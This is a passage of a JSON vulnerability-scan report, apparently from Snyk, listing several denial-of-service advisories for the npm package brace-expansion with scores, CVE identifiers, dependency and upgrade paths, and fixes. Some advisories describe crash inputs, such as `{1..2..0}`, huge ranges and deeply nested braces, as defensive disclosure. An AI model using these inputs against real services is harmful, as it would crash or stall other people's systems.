exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable 